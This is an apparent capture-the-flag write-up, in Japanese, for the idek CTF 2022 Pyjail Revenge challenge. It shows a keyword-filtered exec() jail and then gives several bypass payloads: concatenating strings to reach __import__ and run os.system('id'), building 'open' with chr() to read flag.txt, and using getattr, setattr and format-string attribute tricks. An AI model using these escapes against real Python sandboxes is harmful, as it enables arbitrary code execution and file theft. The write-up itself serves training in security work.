idek CTF 2022 - Pyjail / Revenge

Challenge

code = input()
if any(c in code for c in ['import', 'eval', 'exec', 'os', 'sys']):
    print("Blocked!")
    exit()
exec(code)

さらに厳しい制限。

# __builtins__ の属性を操作
setattr(__builtins__, 'X', __builtins__.__dict__['__imp' + 'ort__'])
X('o' + 's').system('id')

antigravity モジュールは webbrowser を import し、URL を開く。これを悪用:

# antigravity は内部で webbrowser を使用
# webbrowser.open() でファイルプロトコルを使用

# open が使える場合
open('flag.txt').read()

# chr() で構築
getattr(__builtins__, chr(111)+chr(112)+chr(101)+chr(110))('flag.txt').read()

# 属性の動的設定
setattr(obj, 'name', value)
# obj.name = value と同等

# builtins に関数を追加
setattr(__builtins__, 'myimport', __import__)

import antigravity
# xkcd のコミックを開く

# 内部では:
import webbrowser
webbrowser.open("https://xkcd.com/353/")

().__class__.__getattribute__(().__class__, '__bas' + 'es__')

'{0.__class__}'.format('')

idek{...}